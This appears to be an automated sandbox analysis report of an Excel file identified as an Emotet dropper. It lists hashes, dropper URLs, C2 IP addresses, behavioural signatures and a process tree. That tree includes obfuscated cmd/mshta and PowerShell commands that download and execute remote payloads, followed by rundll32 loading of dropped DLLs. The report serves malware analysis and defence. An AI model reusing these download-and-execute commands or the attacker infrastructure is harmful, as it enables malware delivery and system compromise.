Analysis

  • max time kernel
    122s
  • max time network
    140s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    22/01/2022, 13:29

General

  • Target

    6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls

  • Size

    71KB

  • MD5

    21fc12ef8a4a4ba5b38a303fa7e70c08

  • SHA1

    5700a2231371b289eae19ce62e1a73457ee582c4

  • SHA256

    6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5

  • SHA512

    8200f14c0a8023bb74b39796f7859258ef67a21a5f81704f82315695409795fe724ac8ca81513a95d50d169c824532e43865846ce42b0e541366309ace849654

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0xb907d607/fer/fe2.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://185.7.214.7/fer/fe2.png

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2604
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2696
      • C:\Windows\system32\mshta.exe
        mshta http://0xb907d607/fer/fe2.html
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of WriteProcessMemory
        PID:2860
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1988
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:3824
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:3524
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:1384
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Xvzpfolmyhkruz\mdugochef.ccj",UmPRyMbYf
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1128
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Xvzpfolmyhkruz\mdugochef.ccj",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:3852
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 2860 -s 1676
          4⤵
          • Program crash
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3260

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/1128-609-0x0000000000C40000-0x0000000000C66000-memory.dmp

    Filesize

    152KB

  • memory/1384-599-0x0000000001260000-0x0000000001286000-memory.dmp

    Filesize

    152KB

  • memory/1384-598-0x0000000000850000-0x0000000000876000-memory.dmp

    Filesize

    152KB

  • memory/1988-273-0x000001BF730C3000-0x000001BF730C5000-memory.dmp

    Filesize

    8KB

  • memory/1988-549-0x000001BF730C6000-0x000001BF730C8000-memory.dmp

    Filesize

    8KB

  • memory/1988-272-0x000001BF730C0000-0x000001BF730C2000-memory.dmp

    Filesize

    8KB

  • memory/1988-274-0x000001BF72E80000-0x000001BF72EA2000-memory.dmp

    Filesize

    136KB

  • memory/1988-331-0x000001BF73020000-0x000001BF7305C000-memory.dmp

    Filesize

    240KB

  • memory/1988-368-0x000001BF736C0000-0x000001BF73736000-memory.dmp

    Filesize

    472KB

  • memory/2604-116-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

    Filesize

    64KB

  • memory/2604-651-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

    Filesize

    64KB

  • memory/2604-128-0x00007FFDCC4B0000-0x00007FFDCC4C0000-memory.dmp

    Filesize

    64KB

  • memory/2604-121-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

    Filesize

    64KB

  • memory/2604-118-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

    Filesize

    64KB

  • memory/2604-117-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

    Filesize

    64KB

  • memory/2604-115-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

    Filesize

    64KB

  • memory/2604-654-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

    Filesize

    64KB

  • memory/2604-129-0x00007FFDCC4B0000-0x00007FFDCC4C0000-memory.dmp

    Filesize

    64KB

  • memory/2604-653-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

    Filesize

    64KB

  • memory/2604-652-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

    Filesize

    64KB

  • memory/3524-594-0x0000000004C41000-0x0000000004C63000-memory.dmp

    Filesize

    136KB

  • memory/3852-616-0x0000000004E50000-0x0000000004E76000-memory.dmp

    Filesize

    152KB

  • memory/3852-624-0x00000000051E0000-0x0000000005206000-memory.dmp

    Filesize

    152KB

  • memory/3852-626-0x00000000053D0000-0x00000000053F6000-memory.dmp

    Filesize

    152KB

  • memory/3852-628-0x0000000005450000-0x0000000005476000-memory.dmp

    Filesize

    152KB

  • memory/3852-622-0x00000000050F0000-0x0000000005116000-memory.dmp

    Filesize

    152KB

  • memory/3852-620-0x0000000005010000-0x0000000005036000-memory.dmp

    Filesize

    152KB

  • memory/3852-618-0x0000000004F30000-0x0000000004F56000-memory.dmp

    Filesize

    152KB

  • memory/3852-613-0x0000000001310000-0x0000000001336000-memory.dmp

    Filesize

    152KB